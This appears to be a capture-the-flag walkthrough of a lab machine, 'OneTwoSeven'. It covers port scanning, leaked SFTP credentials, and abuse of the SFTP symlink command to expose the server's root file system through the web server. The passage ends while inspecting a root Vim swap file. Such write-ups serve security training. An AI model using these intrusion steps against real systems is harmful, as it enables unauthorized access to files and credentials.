OneTwoSeven
Enumeration
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 32:b7:f3:e2:6d:ac:94:3e:6f:11:d8:05:b9:69:58:45 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFTThOIf++CjOW9k0u9QGq2ocQ/VZZsMqhDsylciI5ZBNguOuOTAP+isLEikqZoa4inOlAqkD6r8sDhRZilSLyI=
| 256 35:52:04:dc:32:69:1a:b7:52:76:06:e3:6c:17:1e:ad (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMIeKC0uIrZ+sRG5K3tk7RH5HszmPp1Zt4T9yPw4CjaJ
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-title: Page moved.
|_http-server-header: Apache/2.4.25 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
From the nmap scan, we discover 2 open ports: one running ssh and another one running http, we can notice the Apache/2.4.25
version that seems outdated and a quick google search shows that it is old
==> We can immediately head over to it and see what it is about
Website
After some exploration of the website, we find these pages:
The last one seems particularly interesting as we get some credentials:
ots-iOTdjZWI
-72b97ceb
And we also notice that they mention:sftp://onetwoseven.htb
and a link to our home page. Going over to it shows us this page:
But it seems empty.
==> One thing also worth noticing is the disabled Admin
button at the top. By examining the source code, we find this:
<div class="collapse navbar-collapse" id="navbarCollapse">
<ul class="navbar-nav mr-auto">
<li class="nav-item active"><a class="nav-link" href="[/index.php](view-source:http://10.129.105.67/index.php)">Home<span class="sr-only">(current)</span></a></li>
<li class="nav-item"><a class="nav-link" href="[/stats.php](view-source:http://10.129.105.67/stats.php)">Statistics</a></li>
<!-- Only enable link if access from trusted networks admin/20190212 -->
<!-- Added localhost admin/20190214 -->
<li class="nav-item"><a id="adminlink" class="nav-link disabled" href="[http://onetwoseven.htb:60080/](view-source:http://onetwoseven.htb:60080/)">Admin</a></li>
</ul>
</div>
Where we can get: http://onetwoseven.htb:60080
, unfortunately the website does not seem to be loading when accessing it directly.
SFTP
Using the provided credentials, we can login to the SFTP
server:
sftp ots-iOTdjZWI@10.129.105.67
Then we can look around for information and we see a file:
sftp> ls
public_html
sftp> cd public_html/
sftp> ls
index.html
sftp> ls -la
drwxr-xr-x ? 1001 1001 4096 Feb 15 2019 .
drwxr-xr-x ? 0 0 4096 Dec 22 21:28 ..
-rw-r--r-- ? 1001 1001 349 Feb 15 2019 index.html
We can then download this file to inspect it:
sftp> get index.html
Fetching /public_html/index.html to index.html
index.html 100% 349 6.8KB/s 00:00
and we see that it contains:
<!DOCTYPE html>
<html>
<head>
<title>Nothing here.</title>
<style>body { margin:0; padding:0; background:url("/dist/img/abstract-architecture-attractive-988873.jpg") no-repeat center center fixed; -webkit-background-size: cover; -moz-background-size: cover; -o-background-size: cover; background-size: cover; }</style>
</head>
<body></body>
</html>
–> This seems to be a dead end. Now there is not much else we can do, so let’s focus a bit more on the capabilities of SFTP
-> we can start by displaying the list of available commands:
sftp> ?
Available commands:
bye Quit sftp
cd path Change remote directory to 'path'
chgrp [-h] grp path Change group of file 'path' to 'grp'
chmod [-h] mode path Change permissions of file 'path' to 'mode'
chown [-h] own path Change owner of file 'path' to 'own'
copy oldpath newpath Copy remote file
cp oldpath newpath Copy remote file
df [-hi] [path] Display statistics for current directory or
filesystem containing 'path'
exit Quit sftp
get [-afpR] remote [local] Download file
help Display this help text
lcd path Change local directory to 'path'
lls [ls-options [path]] Display local directory listing
lmkdir path Create local directory
ln [-s] oldpath newpath Link remote file (-s for symlink)
lpwd Print local working directory
ls [-1afhlnrSt] [path] Display remote directory listing
lumask umask Set local umask to 'umask'
mkdir path Create remote directory
progress Toggle display of progress meter
put [-afpR] local [remote] Upload file
pwd Display remote working directory
quit Quit sftp
reget [-fpR] remote [local] Resume download file
rename oldpath newpath Rename remote file
reput [-fpR] local [remote] Resume upload file
rm path Delete remote file
rmdir path Remove remote directory
symlink oldpath newpath Symlink remote file
version Show SFTP version
!command Execute 'command' in local shell
! Escape to local shell
? Synonym for help
Immediately, the symlink
command seems interesting, as it allows us to create a link to a remote file, let’s try that:
sftp> symlink / public_html/root
And this will create a symlink
between the root of the website and public_html/root
, we can then try to visit our own home page again, this time under /root/
:
And this time we see something! We can then click around to explore the file system, and we quickly see that we get errors saying that we don’t have enough permissions on everything except var
:
However, when exploring /www
, we end up seeing:
And the .login.php.swp
file seems intriguing -> We can download it and have a look at it:
First we can check what kind of file it is:
file login.php.swp
login.php.swp: Vim swap file, version 8.0, pid 1861, user root, host onetwoseven, file /var/www/html-admin/login.php
and finally check its content:
b0VIM 8.0 {u\k* E root onetwoseven /var/www/html-admin/login.php utf-8